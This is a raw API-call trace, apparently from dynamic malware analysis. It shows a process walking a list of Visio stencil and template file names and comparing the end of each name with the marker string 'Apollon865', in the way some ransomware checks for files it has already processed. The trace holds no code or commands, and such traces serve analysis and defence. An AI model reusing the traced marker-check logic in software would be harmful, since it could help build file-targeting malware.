	[0066.435] lstrlenW (lpString="Apollon865") returned 10
	[0066.435] lstrcmpiW (lpString1="NNEC_M.VSS", lpString2="Apollon865") returned 1
	[0066.435] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CONNEC_U.VSS" | out: lpString1="CONNEC_U.VSS") returned="CONNEC_U.VSS"
	[0066.435] lstrlenW (lpString="CONNEC_U.VSS") returned 12
	[0066.435] lstrlenW (lpString="Apollon865") returned 10
	[0066.436] lstrcmpiW (lpString1="NNEC_U.VSS", lpString2="Apollon865") returned 1
	[0066.441] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CUBICL_M.VSS" | out: lpString1="CUBICL_M.VSS") returned="CUBICL_M.VSS"
	[0066.441] lstrlenW (lpString="CUBICL_M.VSS") returned 12
	[0066.441] lstrlenW (lpString="Apollon865") returned 10
	[0066.441] lstrcmpiW (lpString1="BICL_M.VSS", lpString2="Apollon865") returned 1
	[0066.441] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CUBICL_U.VSS" | out: lpString1="CUBICL_U.VSS") returned="CUBICL_U.VSS"
	[0066.441] lstrlenW (lpString="CUBICL_U.VSS") returned 12
	[0066.441] lstrlenW (lpString="Apollon865") returned 10
	[0066.441] lstrcmpiW (lpString1="BICL_U.VSS", lpString2="Apollon865") returned 1
	[0066.441] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DATFLO_M.VSS" | out: lpString1="DATFLO_M.VSS") returned="DATFLO_M.VSS"
	[0066.441] lstrlenW (lpString="DATFLO_M.VSS") returned 12
	[0066.441] lstrlenW (lpString="Apollon865") returned 10
	[0066.441] lstrcmpiW (lpString1="TFLO_M.VSS", lpString2="Apollon865") returned 1
	[0066.442] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DATFLO_M.VST" | out: lpString1="DATFLO_M.VST") returned="DATFLO_M.VST"
	[0066.442] lstrlenW (lpString="DATFLO_M.VST") returned 12
	[0066.442] lstrlenW (lpString="Apollon865") returned 10
	[0066.442] lstrcmpiW (lpString1="TFLO_M.VST", lpString2="Apollon865") returned 1
	[0066.442] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DATFLO_U.VSS" | out: lpString1="DATFLO_U.VSS") returned="DATFLO_U.VSS"
	[0066.442] lstrlenW (lpString="DATFLO_U.VSS") returned 12
	[0066.442] lstrlenW (lpString="Apollon865") returned 10
	[0066.442] lstrcmpiW (lpString1="TFLO_U.VSS", lpString2="Apollon865") returned 1
	[0066.442] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DATFLO_U.VST" | out: lpString1="DATFLO_U.VST") returned="DATFLO_U.VST"
	[0066.442] lstrlenW (lpString="DATFLO_U.VST") returned 12
	[0066.442] lstrlenW (lpString="Apollon865") returned 10
	[0066.442] lstrcmpiW (lpString1="TFLO_U.VST", lpString2="Apollon865") returned 1
	[0066.442] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DATMOD_M.VST" | out: lpString1="DATMOD_M.VST") returned="DATMOD_M.VST"
	[0066.442] lstrlenW (lpString="DATMOD_M.VST") returned 12
	[0066.442] lstrlenW (lpString="Apollon865") returned 10
	[0066.442] lstrcmpiW (lpString1="TMOD_M.VST", lpString2="Apollon865") returned 1
	[0066.442] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DATMOD_U.VST" | out: lpString1="DATMOD_U.VST") returned="DATMOD_U.VST"
	[0066.442] lstrlenW (lpString="DATMOD_U.VST") returned 12
	[0066.442] lstrlenW (lpString="Apollon865") returned 10
	[0066.442] lstrcmpiW (lpString1="TMOD_U.VST", lpString2="Apollon865") returned 1
	[0066.442] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DBMODL_M.VST" | out: lpString1="DBMODL_M.VST") returned="DBMODL_M.VST"
	[0066.442] lstrlenW (lpString="DBMODL_M.VST") returned 12
	[0066.443] lstrlenW (lpString="Apollon865") returned 10
	[0066.443] lstrcmpiW (lpString1="MODL_M.VST", lpString2="Apollon865") returned 1
	[0066.443] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DBMODL_U.VST" | out: lpString1="DBMODL_U.VST") returned="DBMODL_U.VST"
	[0066.443] lstrlenW (lpString="DBMODL_U.VST") returned 12
	[0066.443] lstrlenW (lpString="Apollon865") returned 10
	[0066.443] lstrcmpiW (lpString1="MODL_U.VST", lpString2="Apollon865") returned 1
	[0066.443] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DGICON_M.VSS" | out: lpString1="DGICON_M.VSS") returned="DGICON_M.VSS"
	[0066.443] lstrlenW (lpString="DGICON_M.VSS") returned 12
	[0066.443] lstrlenW (lpString="Apollon865") returned 10
	[0066.443] lstrcmpiW (lpString1="ICON_M.VSS", lpString2="Apollon865") returned 1
	[0066.443] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DGICON_U.VSS" | out: lpString1="DGICON_U.VSS") returned="DGICON_U.VSS"
	[0066.443] lstrlenW (lpString="DGICON_U.VSS") returned 12
	[0066.443] lstrlenW (lpString="Apollon865") returned 10
	[0066.443] lstrcmpiW (lpString1="ICON_U.VSS", lpString2="Apollon865") returned 1
	[0066.443] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DIMARC_U.VSS" | out: lpString1="DIMARC_U.VSS") returned="DIMARC_U.VSS"
	[0066.443] lstrlenW (lpString="DIMARC_U.VSS") returned 12
	[0066.443] lstrlenW (lpString="Apollon865") returned 10
	[0066.443] lstrcmpiW (lpString1="MARC_U.VSS", lpString2="Apollon865") returned 1
	[0066.443] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DIMENG_M.VSS" | out: lpString1="DIMENG_M.VSS") returned="DIMENG_M.VSS"
	[0066.443] lstrlenW (lpString="DIMENG_M.VSS") returned 12
	[0066.443] lstrlenW (lpString="Apollon865") returned 10
	[0066.443] lstrcmpiW (lpString1="MENG_M.VSS", lpString2="Apollon865") returned 1
	[0066.444] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DIMENG_U.VSS" | out: lpString1="DIMENG_U.VSS") returned="DIMENG_U.VSS"
	[0066.444] lstrlenW (lpString="DIMENG_U.VSS") returned 12
	[0066.444] lstrlenW (lpString="Apollon865") returned 10
	[0066.444] lstrcmpiW (lpString1="MENG_U.VSS", lpString2="Apollon865") returned 1
	[0066.444] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DRAWTL_M.VSS" | out: lpString1="DRAWTL_M.VSS") returned="DRAWTL_M.VSS"
	[0066.444] lstrlenW (lpString="DRAWTL_M.VSS") returned 12
	[0066.444] lstrlenW (lpString="Apollon865") returned 10
	[0066.444] lstrcmpiW (lpString1="AWTL_M.VSS", lpString2="Apollon865") returned 1
	[0066.444] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DRAWTL_U.VSS" | out: lpString1="DRAWTL_U.VSS") returned="DRAWTL_U.VSS"
	[0066.444] lstrlenW (lpString="DRAWTL_U.VSS") returned 12
	[0066.444] lstrlenW (lpString="Apollon865") returned 10
	[0066.444] lstrcmpiW (lpString1="AWTL_U.VSS", lpString2="Apollon865") returned 1
	[0066.444] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DRILLD_M.VSS" | out: lpString1="DRILLD_M.VSS") returned="DRILLD_M.VSS"
	[0066.444] lstrlenW (lpString="DRILLD_M.VSS") returned 12
	[0066.444] lstrlenW (lpString="Apollon865") returned 10
	[0066.444] lstrcmpiW (lpString1="ILLD_M.VSS", lpString2="Apollon865") returned 1
	[0066.444] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DRILLD_M.VST" | out: lpString1="DRILLD_M.VST") returned="DRILLD_M.VST"
	[0066.444] lstrlenW (lpString="DRILLD_M.VST") returned 12
	[0066.444] lstrlenW (lpString="Apollon865") returned 10
	[0066.444] lstrcmpiW (lpString1="ILLD_M.VST", lpString2="Apollon865") returned 1
	[0066.444] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DRILLD_U.VSS" | out: lpString1="DRILLD_U.VSS") returned="DRILLD_U.VSS"
	[0066.444] lstrlenW (lpString="DRILLD_U.VSS") returned 12
	[0066.444] lstrlenW (lpString="Apollon865") returned 10
	[0066.445] lstrcmpiW (lpString1="ILLD_U.VSS", lpString2="Apollon865") returned 1
	[0066.445] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DRILLD_U.VST" | out: lpString1="DRILLD_U.VST") returned="DRILLD_U.VST"
	[0066.445] lstrlenW (lpString="DRILLD_U.VST") returned 12
	[0066.445] lstrlenW (lpString="Apollon865") returned 10
	[0066.445] lstrcmpiW (lpString1="ILLD_U.VST", lpString2="Apollon865") returned 1
	[0066.445] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DTLNET_M.VSS" | out: lpString1="DTLNET_M.VSS") returned="DTLNET_M.VSS"
	[0066.445] lstrlenW (lpString="DTLNET_M.VSS") returned 12
	[0066.445] lstrlenW (lpString="Apollon865") returned 10
	[0066.445] lstrcmpiW (lpString1="LNET_M.VSS", lpString2="Apollon865") returned 1
	[0066.445] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DTLNET_M.VST" | out: lpString1="DTLNET_M.VST") returned="DTLNET_M.VST"
	[0066.445] lstrlenW (lpString="DTLNET_M.VST") returned 12
	[0066.445] lstrlenW (lpString="Apollon865") returned 10
	[0066.445] lstrcmpiW (lpString1="LNET_M.VST", lpString2="Apollon865") returned 1
	[0066.445] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DTLNET_U.VSS" | out: lpString1="DTLNET_U.VSS") returned="DTLNET_U.VSS"
	[0066.445] lstrlenW (lpString="DTLNET_U.VSS") returned 12
	[0066.445] lstrlenW (lpString="Apollon865") returned 10
	[0066.445] lstrcmpiW (lpString1="LNET_U.VSS", lpString2="Apollon865") returned 1
	[0066.445] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DTLNET_U.VST" | out: lpString1="DTLNET_U.VST") returned="DTLNET_U.VST"
	[0066.445] lstrlenW (lpString="DTLNET_U.VST") returned 12
	[0066.445] lstrlenW (lpString="Apollon865") returned 10
	[0066.445] lstrcmpiW (lpString1="LNET_U.VST", lpString2="Apollon865") returned 1
	[0066.446] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DVCALL_M.VSS" | out: lpString1="DVCALL_M.VSS") returned="DVCALL_M.VSS"
	[0066.446] lstrlenW (lpString="DVCALL_M.VSS") returned 12
	[0066.446] lstrlenW (lpString="Apollon865") returned 10
	[0066.446] lstrcmpiW (lpString1="CALL_M.VSS", lpString2="Apollon865") returned 1
	[0066.446] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DVCALL_U.VSS" | out: lpString1="DVCALL_U.VSS") returned="DVCALL_U.VSS"
	[0066.446] lstrlenW (lpString="DVCALL_U.VSS") returned 12
	[0066.446] lstrlenW (lpString="Apollon865") returned 10
	[0066.446] lstrcmpiW (lpString1="CALL_U.VSS", lpString2="Apollon865") returned 1
	[0066.446] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DWGCNV_M.VTX" | out: lpString1="DWGCNV_M.VTX") returned="DWGCNV_M.VTX"
	[0066.446] lstrlenW (lpString="DWGCNV_M.VTX") returned 12
	[0066.446] lstrlenW (lpString="Apollon865") returned 10
	[0066.446] lstrcmpiW (lpString1="GCNV_M.VTX", lpString2="Apollon865") returned 1
	[0066.446] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="DWGCNV_U.VTX" | out: lpString1="DWGCNV_U.VTX") returned="DWGCNV_U.VTX"
	[0066.446] lstrlenW (lpString="DWGCNV_U.VTX") returned 12
	[0066.446] lstrlenW (lpString="Apollon865") returned 10
	[0066.446] lstrcmpiW (lpString1="GCNV_U.VTX", lpString2="Apollon865") returned 1
	[0066.446] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EECHIP_M.VSS" | out: lpString1="EECHIP_M.VSS") returned="EECHIP_M.VSS"
	[0066.446] lstrlenW (lpString="EECHIP_M.VSS") returned 12
	[0066.446] lstrlenW (lpString="Apollon865") returned 10
	[0066.446] lstrcmpiW (lpString1="CHIP_M.VSS", lpString2="Apollon865") returned 1
	[0066.446] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EECHIP_M.VST" | out: lpString1="EECHIP_M.VST") returned="EECHIP_M.VST"
	[0066.446] lstrlenW (lpString="EECHIP_M.VST") returned 12
	[0066.446] lstrlenW (lpString="Apollon865") returned 10
	[0066.446] lstrcmpiW (lpString1="CHIP_M.VST", lpString2="Apollon865") returned 1
	[0066.447] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EECHIP_U.VSS" | out: lpString1="EECHIP_U.VSS") returned="EECHIP_U.VSS"
	[0066.447] lstrlenW (lpString="EECHIP_U.VSS") returned 12
	[0066.447] lstrlenW (lpString="Apollon865") returned 10
	[0066.447] lstrcmpiW (lpString1="CHIP_U.VSS", lpString2="Apollon865") returned 1
	[0066.447] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EECHIP_U.VST" | out: lpString1="EECHIP_U.VST") returned="EECHIP_U.VST"
	[0066.447] lstrlenW (lpString="EECHIP_U.VST") returned 12
	[0066.447] lstrlenW (lpString="Apollon865") returned 10
	[0066.447] lstrcmpiW (lpString1="CHIP_U.VST", lpString2="Apollon865") returned 1
	[0066.447] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EECOMP_M.VSS" | out: lpString1="EECOMP_M.VSS") returned="EECOMP_M.VSS"
	[0066.447] lstrlenW (lpString="EECOMP_M.VSS") returned 12
	[0066.447] lstrlenW (lpString="Apollon865") returned 10
	[0066.447] lstrcmpiW (lpString1="COMP_M.VSS", lpString2="Apollon865") returned 1
	[0066.450] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EECOMP_U.VSS" | out: lpString1="EECOMP_U.VSS") returned="EECOMP_U.VSS"
	[0066.450] lstrlenW (lpString="EECOMP_U.VSS") returned 12
	[0066.450] lstrlenW (lpString="Apollon865") returned 10
	[0066.450] lstrcmpiW (lpString1="COMP_U.VSS", lpString2="Apollon865") returned 1
	[0066.450] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEFUND_M.VSS" | out: lpString1="EEFUND_M.VSS") returned="EEFUND_M.VSS"
	[0066.450] lstrlenW (lpString="EEFUND_M.VSS") returned 12
	[0066.450] lstrlenW (lpString="Apollon865") returned 10
	[0066.450] lstrcmpiW (lpString1="FUND_M.VSS", lpString2="Apollon865") returned 1
	[0066.450] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEFUND_U.VSS" | out: lpString1="EEFUND_U.VSS") returned="EEFUND_U.VSS"
	[0066.450] lstrlenW (lpString="EEFUND_U.VSS") returned 12
	[0066.450] lstrlenW (lpString="Apollon865") returned 10
	[0066.450] lstrcmpiW (lpString1="FUND_U.VSS", lpString2="Apollon865") returned 1
	[0066.450] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEGENR_M.VST" | out: lpString1="EEGENR_M.VST") returned="EEGENR_M.VST"
	[0066.451] lstrlenW (lpString="EEGENR_M.VST") returned 12
	[0066.451] lstrlenW (lpString="Apollon865") returned 10
	[0066.451] lstrcmpiW (lpString1="GENR_M.VST", lpString2="Apollon865") returned 1
	[0066.451] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEGENR_U.VST" | out: lpString1="EEGENR_U.VST") returned="EEGENR_U.VST"
	[0066.451] lstrlenW (lpString="EEGENR_U.VST") returned 12
	[0066.451] lstrlenW (lpString="Apollon865") returned 10
	[0066.451] lstrcmpiW (lpString1="GENR_U.VST", lpString2="Apollon865") returned 1
	[0066.451] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEICS_M.VST" | out: lpString1="EEICS_M.VST") returned="EEICS_M.VST"
	[0066.451] lstrlenW (lpString="EEICS_M.VST") returned 11
	[0066.451] lstrlenW (lpString="Apollon865") returned 10
	[0066.451] lstrcmpiW (lpString1="EICS_M.VST", lpString2="Apollon865") returned 1
	[0066.451] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEICS_U.VST" | out: lpString1="EEICS_U.VST") returned="EEICS_U.VST"
	[0066.451] lstrlenW (lpString="EEICS_U.VST") returned 11
	[0066.451] lstrlenW (lpString="Apollon865") returned 10
	[0066.451] lstrcmpiW (lpString1="EICS_U.VST", lpString2="Apollon865") returned 1
	[0066.451] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEMAIN_M.VSS" | out: lpString1="EEMAIN_M.VSS") returned="EEMAIN_M.VSS"
	[0066.451] lstrlenW (lpString="EEMAIN_M.VSS") returned 12
	[0066.451] lstrlenW (lpString="Apollon865") returned 10
	[0066.451] lstrcmpiW (lpString1="MAIN_M.VSS", lpString2="Apollon865") returned 1
	[0066.451] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEMAIN_U.VSS" | out: lpString1="EEMAIN_U.VSS") returned="EEMAIN_U.VSS"
	[0066.451] lstrlenW (lpString="EEMAIN_U.VSS") returned 12
	[0066.451] lstrlenW (lpString="Apollon865") returned 10
	[0066.451] lstrcmpiW (lpString1="MAIN_U.VSS", lpString2="Apollon865") returned 1
	[0066.452] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEMAPS_M.VSS" | out: lpString1="EEMAPS_M.VSS") returned="EEMAPS_M.VSS"
	[0066.452] lstrlenW (lpString="EEMAPS_M.VSS") returned 12
	[0066.452] lstrlenW (lpString="Apollon865") returned 10
	[0066.452] lstrcmpiW (lpString1="MAPS_M.VSS", lpString2="Apollon865") returned 1
	[0066.452] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEMAPS_U.VSS" | out: lpString1="EEMAPS_U.VSS") returned="EEMAPS_U.VSS"
	[0066.452] lstrlenW (lpString="EEMAPS_U.VSS") returned 12
	[0066.452] lstrlenW (lpString="Apollon865") returned 10
	[0066.452] lstrcmpiW (lpString1="MAPS_U.VSS", lpString2="Apollon865") returned 1
	[0066.452] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEMECH_M.VSS" | out: lpString1="EEMECH_M.VSS") returned="EEMECH_M.VSS"
	[0066.452] lstrlenW (lpString="EEMECH_M.VSS") returned 12
	[0066.452] lstrlenW (lpString="Apollon865") returned 10
	[0066.452] lstrcmpiW (lpString1="MECH_M.VSS", lpString2="Apollon865") returned 1
	[0066.452] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEMECH_U.VSS" | out: lpString1="EEMECH_U.VSS") returned="EEMECH_U.VSS"
	[0066.452] lstrlenW (lpString="EEMECH_U.VSS") returned 12
	[0066.452] lstrlenW (lpString="Apollon865") returned 10
	[0066.452] lstrcmpiW (lpString1="MECH_U.VSS", lpString2="Apollon865") returned 1
	[0066.452] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEPATH_M.VSS" | out: lpString1="EEPATH_M.VSS") returned="EEPATH_M.VSS"
	[0066.452] lstrlenW (lpString="EEPATH_M.VSS") returned 12
	[0066.452] lstrlenW (lpString="Apollon865") returned 10
	[0066.452] lstrcmpiW (lpString1="PATH_M.VSS", lpString2="Apollon865") returned 1
	[0066.452] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEPATH_U.VSS" | out: lpString1="EEPATH_U.VSS") returned="EEPATH_U.VSS"
	[0066.452] lstrlenW (lpString="EEPATH_U.VSS") returned 12
	[0066.453] lstrlenW (lpString="Apollon865") returned 10
	[0066.453] lstrcmpiW (lpString1="PATH_U.VSS", lpString2="Apollon865") returned 1
	[0066.453] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEQUAL_M.VSS" | out: lpString1="EEQUAL_M.VSS") returned="EEQUAL_M.VSS"
	[0066.453] lstrlenW (lpString="EEQUAL_M.VSS") returned 12
	[0066.453] lstrlenW (lpString="Apollon865") returned 10
	[0066.453] lstrcmpiW (lpString1="QUAL_M.VSS", lpString2="Apollon865") returned 1
	[0066.453] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEQUAL_U.VSS" | out: lpString1="EEQUAL_U.VSS") returned="EEQUAL_U.VSS"
	[0066.453] lstrlenW (lpString="EEQUAL_U.VSS") returned 12
	[0066.453] lstrlenW (lpString="Apollon865") returned 10
	[0066.453] lstrcmpiW (lpString1="QUAL_U.VSS", lpString2="Apollon865") returned 1
	[0066.453] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EESEMI_M.VSS" | out: lpString1="EESEMI_M.VSS") returned="EESEMI_M.VSS"
	[0066.453] lstrlenW (lpString="EESEMI_M.VSS") returned 12
	[0066.453] lstrlenW (lpString="Apollon865") returned 10
	[0066.453] lstrcmpiW (lpString1="SEMI_M.VSS", lpString2="Apollon865") returned 1
	[0066.453] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EESEMI_U.VSS" | out: lpString1="EESEMI_U.VSS") returned="EESEMI_U.VSS"
	[0066.453] lstrlenW (lpString="EESEMI_U.VSS") returned 12
	[0066.453] lstrlenW (lpString="Apollon865") returned 10
	[0066.453] lstrcmpiW (lpString1="SEMI_U.VSS", lpString2="Apollon865") returned 1
	[0066.453] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EESWCH_M.VSS" | out: lpString1="EESWCH_M.VSS") returned="EESWCH_M.VSS"
	[0066.453] lstrlenW (lpString="EESWCH_M.VSS") returned 12
	[0066.453] lstrlenW (lpString="Apollon865") returned 10
	[0066.453] lstrcmpiW (lpString1="SWCH_M.VSS", lpString2="Apollon865") returned 1
	[0066.454] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EESWCH_U.VSS" | out: lpString1="EESWCH_U.VSS") returned="EESWCH_U.VSS"
	[0066.454] lstrlenW (lpString="EESWCH_U.VSS") returned 12
	[0066.454] lstrlenW (lpString="Apollon865") returned 10
	[0066.454] lstrcmpiW (lpString1="SWCH_U.VSS", lpString2="Apollon865") returned 1
	[0066.454] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EESYS_M.VST" | out: lpString1="EESYS_M.VST") returned="EESYS_M.VST"
	[0066.454] lstrlenW (lpString="EESYS_M.VST") returned 11
	[0066.454] lstrlenW (lpString="Apollon865") returned 10
	[0066.454] lstrcmpiW (lpString1="ESYS_M.VST", lpString2="Apollon865") returned 1
	[0066.454] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EESYS_U.VST" | out: lpString1="EESYS_U.VST") returned="EESYS_U.VST"
	[0066.454] lstrlenW (lpString="EESYS_U.VST") returned 11
	[0066.454] lstrlenW (lpString="Apollon865") returned 10
	[0066.454] lstrcmpiW (lpString1="ESYS_U.VST", lpString2="Apollon865") returned 1
	[0066.454] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EETCOM_M.VSS" | out: lpString1="EETCOM_M.VSS") returned="EETCOM_M.VSS"
	[0066.454] lstrlenW (lpString="EETCOM_M.VSS") returned 12
	[0066.454] lstrlenW (lpString="Apollon865") returned 10
	[0066.454] lstrcmpiW (lpString1="TCOM_M.VSS", lpString2="Apollon865") returned 1
	[0066.454] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EETCOM_U.VSS" | out: lpString1="EETCOM_U.VSS") returned="EETCOM_U.VSS"
	[0066.454] lstrlenW (lpString="EETCOM_U.VSS") returned 12
	[0066.454] lstrlenW (lpString="Apollon865") returned 10
	[0066.454] lstrcmpiW (lpString1="TCOM_U.VSS", lpString2="Apollon865") returned 1
	[0066.454] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EETERM_M.VSS" | out: lpString1="EETERM_M.VSS") returned="EETERM_M.VSS"
	[0066.454] lstrlenW (lpString="EETERM_M.VSS") returned 12
	[0066.454] lstrlenW (lpString="Apollon865") returned 10
	[0066.455] lstrcmpiW (lpString1="TERM_M.VSS", lpString2="Apollon865") returned 1
	[0066.455] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EETERM_U.VSS" | out: lpString1="EETERM_U.VSS") returned="EETERM_U.VSS"
	[0066.455] lstrlenW (lpString="EETERM_U.VSS") returned 12
	[0066.455] lstrlenW (lpString="Apollon865") returned 10
	[0066.455] lstrcmpiW (lpString1="TERM_U.VSS", lpString2="Apollon865") returned 1
	[0066.455] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EETRAN_M.VSS" | out: lpString1="EETRAN_M.VSS") returned="EETRAN_M.VSS"
	[0066.455] lstrlenW (lpString="EETRAN_M.VSS") returned 12
	[0066.455] lstrlenW (lpString="Apollon865") returned 10
	[0066.455] lstrcmpiW (lpString1="TRAN_M.VSS", lpString2="Apollon865") returned 1
	[0066.455] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EETRAN_U.VSS" | out: lpString1="EETRAN_U.VSS") returned="EETRAN_U.VSS"
	[0066.455] lstrlenW (lpString="EETRAN_U.VSS") returned 12
	[0066.455] lstrlenW (lpString="Apollon865") returned 10
	[0066.455] lstrcmpiW (lpString1="TRAN_U.VSS", lpString2="Apollon865") returned 1
	[0066.455] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEVHF_M.VSS" | out: lpString1="EEVHF_M.VSS") returned="EEVHF_M.VSS"
	[0066.455] lstrlenW (lpString="EEVHF_M.VSS") returned 11
	[0066.455] lstrlenW (lpString="Apollon865") returned 10
	[0066.455] lstrcmpiW (lpString1="EVHF_M.VSS", lpString2="Apollon865") returned 1
	[0066.455] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EEVHF_U.VSS" | out: lpString1="EEVHF_U.VSS") returned="EEVHF_U.VSS"
	[0066.455] lstrlenW (lpString="EEVHF_U.VSS") returned 11
	[0066.455] lstrlenW (lpString="Apollon865") returned 10
	[0066.455] lstrcmpiW (lpString1="EVHF_U.VSS", lpString2="Apollon865") returned 1
	[0066.455] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ELETEL_M.VSS" | out: lpString1="ELETEL_M.VSS") returned="ELETEL_M.VSS"
	[0066.456] lstrlenW (lpString="ELETEL_M.VSS") returned 12
	[0066.456] lstrlenW (lpString="Apollon865") returned 10
	[0066.456] lstrcmpiW (lpString1="ETEL_M.VSS", lpString2="Apollon865") returned 1
	[0066.456] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ELETEL_M.VST" | out: lpString1="ELETEL_M.VST") returned="ELETEL_M.VST"
	[0066.456] lstrlenW (lpString="ELETEL_M.VST") returned 12
	[0066.456] lstrlenW (lpString="Apollon865") returned 10
	[0066.456] lstrcmpiW (lpString1="ETEL_M.VST", lpString2="Apollon865") returned 1
	[0066.456] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ELETEL_U.VSS" | out: lpString1="ELETEL_U.VSS") returned="ELETEL_U.VSS"
	[0066.456] lstrlenW (lpString="ELETEL_U.VSS") returned 12
	[0066.456] lstrlenW (lpString="Apollon865") returned 10
	[0066.456] lstrcmpiW (lpString1="ETEL_U.VSS", lpString2="Apollon865") returned 1
	[0066.457] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ELETEL_U.VST" | out: lpString1="ELETEL_U.VST") returned="ELETEL_U.VST"
	[0066.457] lstrlenW (lpString="ELETEL_U.VST") returned 12
	[0066.458] lstrlenW (lpString="Apollon865") returned 10
	[0066.458] lstrcmpiW (lpString1="ETEL_U.VST", lpString2="Apollon865") returned 1
	[0066.458] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EMBELL_M.VSS" | out: lpString1="EMBELL_M.VSS") returned="EMBELL_M.VSS"
	[0066.458] lstrlenW (lpString="EMBELL_M.VSS") returned 12
	[0066.458] lstrlenW (lpString="Apollon865") returned 10
	[0066.458] lstrcmpiW (lpString1="BELL_M.VSS", lpString2="Apollon865") returned 1
	[0066.458] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EMBELL_U.VSS" | out: lpString1="EMBELL_U.VSS") returned="EMBELL_U.VSS"
	[0066.458] lstrlenW (lpString="EMBELL_U.VSS") returned 12
	[0066.458] lstrlenW (lpString="Apollon865") returned 10
	[0066.458] lstrcmpiW (lpString1="BELL_U.VSS", lpString2="Apollon865") returned 1
	[0066.458] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ENTAPP_M.VSS" | out: lpString1="ENTAPP_M.VSS") returned="ENTAPP_M.VSS"
	[0066.458] lstrlenW (lpString="ENTAPP_M.VSS") returned 12
	[0066.458] lstrlenW (lpString="Apollon865") returned 10
	[0066.458] lstrcmpiW (lpString1="TAPP_M.VSS", lpString2="Apollon865") returned 1
	[0066.458] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ENTAPP_M.VST" | out: lpString1="ENTAPP_M.VST") returned="ENTAPP_M.VST"
	[0066.458] lstrlenW (lpString="ENTAPP_M.VST") returned 12
	[0066.458] lstrlenW (lpString="Apollon865") returned 10
	[0066.458] lstrcmpiW (lpString1="TAPP_M.VST", lpString2="Apollon865") returned 1
	[0066.458] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ENTAPP_U.VSS" | out: lpString1="ENTAPP_U.VSS") returned="ENTAPP_U.VSS"
	[0066.458] lstrlenW (lpString="ENTAPP_U.VSS") returned 12
	[0066.458] lstrlenW (lpString="Apollon865") returned 10
	[0066.458] lstrcmpiW (lpString1="TAPP_U.VSS", lpString2="Apollon865") returned 1
	[0066.459] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ENTAPP_U.VST" | out: lpString1="ENTAPP_U.VST") returned="ENTAPP_U.VST"
	[0066.459] lstrlenW (lpString="ENTAPP_U.VST") returned 12
	[0066.459] lstrlenW (lpString="Apollon865") returned 10
	[0066.459] lstrcmpiW (lpString1="TAPP_U.VST", lpString2="Apollon865") returned 1
